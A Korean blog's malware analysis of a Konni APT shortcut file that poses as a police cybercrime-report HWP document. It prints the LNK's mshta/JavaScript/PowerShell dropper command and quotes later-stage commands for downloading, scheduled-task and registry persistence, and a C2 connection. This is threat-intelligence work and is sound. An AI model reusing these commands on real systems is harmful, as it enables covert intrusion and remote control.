꿈을꾸는 파랑새

오늘은 북한 해킹 그룹 Konni(코니)에서 만든 악성코드 ECRM.M.hwp.lnk(2025.3.11) 에 대해 알아보겠습니다. 일단 ECRM.M.hwp.lnk 는 아마도 경찰청에서 운영을 하고 있는 사이버범죄 신고시스템(사이버 수사대) (ECRM)인 것처럼 위장하는 것 같습니다. 아마도 이쪽을 공격했거나 아니며 사이버범죄 신고시스템(사이버 수사대) (ECRM) 에서 뿌린 hwp인 것처럼 한 것인 것 같습니다.
파일명:ECRM.M.hwp.lnk
사이즈:1 MB
MD5:5bd8cad0e4f14e252056830d16abfbe5
SHA-1:61bae4c2061e3672eb1d416a2e894f8bd2165502
SHA-256:811d221a1340e64aa1736d9d4e8f80820a5a02fab3d0c9e454f3ed35cd717b81

악성코드 에 포함된 mshta 악용 코드
악성코드 에 포함된 mshta 악용 코드

악성코드에 포함된 코드

StringData
{
    namestring: not present
    relativepath: ..\..\..\Windows\(S)ystem32\mshta(.)exe
    workingdir: not present
    commandlinearguments: javascript:p="$w ([byte[]]($f "(+)"| select -Skip 0x0beb)) -Force";k="c:\\pro"(+)"gramdata\\";b=" -Encodin(g) Byte;sc ";s="a=new Ac"+"tiveXObject('WSc"+"ript.Shell');a.Run(c,0,tr(u)e);close();";c="powe"+"rshell -ep bypass -c $t=0x1c4c;$k = Get-ChildI(t)em *.lnk | where(-)object {$_.length -eq $t} | Select-Object -ExpandProperty Na(m)e;if($k.count -eq 0){$(k)=Get-ChildItem $env:T"+"EMP\\*\\*.l"(+)"nk | where-object{$_.length -eq $t};};$w='"+k+"e.ps1';$f=gc $k"+b+p+b+k+"d3914 0;po"(+)"wersh"+"ell -ep bypass -f $w;";eval(s);
    iconlocation: .hwp
}

악성코드 설명

윈도우 의 mshta.exe를 이용한 파일리스(fileless) 공격 기법
1.mshta.exe 활용
mshta.exe는 Microsoft HTML Application 실행 파일로 HTML 및 JavaScript/를 실행악용 이를 악용해서 악성 스크립트를 실행
mshta.exe 는 Windows 시스템 기본 프로그램이므로 보안 탐지를 우회 하기 위한 목적
상대 경로(..\..\..\Windows\System32\mshta.exe)를 사용하여 실행 위치를 유연하게 조정
2. JavaScript 코드 분석 (commandlinearguments)
코드의 핵심은 javascript:p=…. 이후부터
mshta.exe 를 이용하여 JavaScript 실행
JavaScript 내부에서 ActiveXObject('WScript.Shell')을 사용하여 PowerShell 실행
PowerShell을 통해 특정 크기의 .lnk (바로가기) 파일을 찾음
$t=0x1c4c->특정 크기(7,180바이트)와 일치하는 .lnk 파일 탐색  
$k = Get-ChildItem .lnk | where-object {$_.length -eq $t} 
만약 현재 폴더에 없다면 $env:TEMP 내에서 검색  
해당 .lnk 파일의 내용을 읽음 (gc $k)
내용 일부를 byte[] 배열로 변환 후 PowerShell 스크립트 (e.ps1) 로 저장
PowerShell을 통해 e.ps1 실행->최종 페이로드 실행

AN9385 에 포함된 코드
AN9385 에 포함된 코드

AN9385.tmp
26545.tmp
e.ps1
생성

악성 파워셀 코드
악성 파워셀 코드

AN9385.tmp는 난독화 돼 있음
PowerShell 스크립트는 여러 단계의 난독화를 거쳐 최종적으로 원격 C2 서버에서 추가 악성 페이로드를 다운로드하고 실행하는 동작을 수행
Base64 난독화된 문자열을 여러 개 조합하여 최종 코드 생성
$qsw0, $uvw1, $ruz2 등 여러 개의 Base64 인코딩된 문자열을 결합하여 실행할 코드 구성
Invoke-Expression을 이용하여 최종 페이로드 실행
C2:64(.)20(.)59(.)148
기존 악성 파일 삭제
Remove-Item c:\programdata\le.ps1
외부 URL에서 ZIP 파일 다운로드:Invoke-WebRequest -Uri "hxxp://snswf(.)dropwm(.)com/...
ZIP 파일 압축 해제:Expand-Archive -Path 'c:\programdata\ws(.)zip'
스케줄러 등록 (지속성 유지):schtasks /create /sc minute /mo 2 /tn AM "microsoftdegupdateExpanding"
레지스트리에 백도어 등록:reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
추가 PowerShell 코드 실행 (WAN9835.tmp에서 로드) Invoke-Expression (Get-Content C:\ProgramData\WAN9835.tmp)
C2 서버(64(.)20(.)59(.)148:8855)와 연결:New-Object System.Net.Sockets.TcpClient($r, $p)
원격 서버에서 추가 코드 다운로드 및 실행
을 하는 악성코드입니다. 오늘은 간단하게 사이버범죄 신고시스템(사이버 수사대) (ECRM)을 사칭을 하는 북한 APT인 Konni 에 대해서 알아보았습니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band